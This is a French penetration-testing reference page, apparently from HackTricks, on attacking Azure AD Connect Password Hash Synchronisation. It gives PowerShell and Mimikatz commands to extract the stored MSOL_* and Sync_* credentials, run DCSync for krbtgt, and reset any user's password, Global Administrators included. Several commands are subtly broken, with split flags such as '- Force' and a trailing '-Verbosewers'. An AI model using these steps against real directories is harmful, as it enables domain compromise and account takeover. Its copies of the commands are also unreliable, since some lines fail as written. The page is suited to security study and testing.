# Az - PHS - Synchronisation des Hashs de Mot de Passe

{{#include ../../../../banners/hacktricks-training.md}}

## Informations de Base

[Selon la documentation :](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **La synchronisation des hash de mot de passe** est l'une des méthodes de connexion utilisées pour réaliser une identité hybride. **Azure AD Connect** synchronise un hash, du hash, du mot de passe d'un utilisateur depuis une instance Active Directory sur site vers une instance Azure AD basée sur le cloud.

<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>

C'est la **méthode la plus courante** utilisée par les entreprises pour synchroniser un AD sur site avec Azure AD.

Tous les **utilisateurs** et un **hash des hash de mot de passe** sont synchronisés de l'on-prem vers Azure AD. Cependant, les **mots de passe en clair** ou les **hashes** **originaux** ne sont pas envoyés à Azure AD.\
De plus, les groupes de sécurité **intégrés** (comme les administrateurs de domaine...) ne sont **pas synchronisés** avec Azure AD.

La **synchronisation des hash** se produit toutes les **2 minutes**. Cependant, par défaut, l'**expiration des mots de passe** et l'**expiration des comptes** ne sont **pas synchronisées** dans Azure AD. Ainsi, un utilisateur dont le **mot de passe sur site est expiré** (non changé) peut continuer à **accéder aux ressources Azure** en utilisant l'ancien mot de passe.

Lorsqu'un utilisateur sur site souhaite accéder à une ressource Azure, l'**authentification a lieu sur Azure AD**.

**PHS** est requis pour des fonctionnalités telles que **Identity Protection** et les services de domaine AAD.

## Pivotement

Lorsque PHS est configuré, certains **comptes privilégiés** sont automatiquement **créés** :

- Le compte **`MSOL_<installationID>`** est automatiquement créé dans l'AD sur site. Ce compte se voit attribuer un rôle de **Comptes de Synchronisation de Répertoire** (voir [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) ce qui signifie qu'il a des **permissions de réplication (DCSync) dans l'AD sur site**.
- Un compte **`Sync_<nom du serveur ADConnect sur site>_installationID`** est créé dans Azure AD. Ce compte peut **réinitialiser le mot de passe de n'importe quel utilisateur** (synchronisé ou uniquement cloud) dans Azure AD.

Les mots de passe des deux comptes privilégiés précédents sont **stockés dans un serveur SQL** sur le serveur où **Azure AD Connect est installé.** Les administrateurs peuvent extraire les mots de passe de ces utilisateurs privilégiés en clair.\
La base de données est située dans `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.

Il est possible d'extraire la configuration d'une des tables, étant l'une d'elles chiffrée :

`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`

La **configuration chiffrée** est chiffrée avec **DPAPI** et contient les **mots de passe de l'utilisateur `MSOL_*`** dans l'AD sur site et le mot de passe de **Sync\_\*** dans AzureAD. Par conséquent, en compromettant ceux-ci, il est possible d'élever les privilèges vers l'AD et vers AzureAD.

Vous pouvez trouver un [aperçu complet de la façon dont ces identifiants sont stockés et déchiffrés dans cette présentation](https://www.youtube.com/watch?v=JEIR5oGCwdg).

### Trouver le **serveur Azure AD connect**

Si le **serveur où Azure AD connect est installé** est joint au domaine (recommandé dans la documentation), il est possible de le trouver avec :
```bash
# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
```
### Abusing MSOL\_*
```bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
```
> [!CAUTION]
> Vous pouvez également utiliser [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) pour obtenir ces identifiants.

### Abus de Sync\_\*

En compromettant le compte **`Sync_*`**, il est possible de **réinitialiser le mot de passe** de n'importe quel utilisateur (y compris les Administrateurs Globaux)
```bash
# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
```
Il est également possible de **modifier les mots de passe des utilisateurs uniquement cloud** (même si cela est inattendu)
```bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
```
Il est également possible d'extraire le mot de passe de cet utilisateur.

> [!CAUTION]
> Une autre option serait de **attribuer des autorisations privilégiées à un principal de service**, que l'utilisateur **Sync** a **les autorisations** de faire, puis **d'accéder à ce principal de service** comme moyen de privesc.

### Seamless SSO

Il est possible d'utiliser Seamless SSO avec PHS, qui est vulnérable à d'autres abus. Vérifiez-le dans :

{{#ref}}
seamless-sso.md
{{#endref}}

## Références

- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)

{{#include ../../../../banners/hacktricks-training.md}}
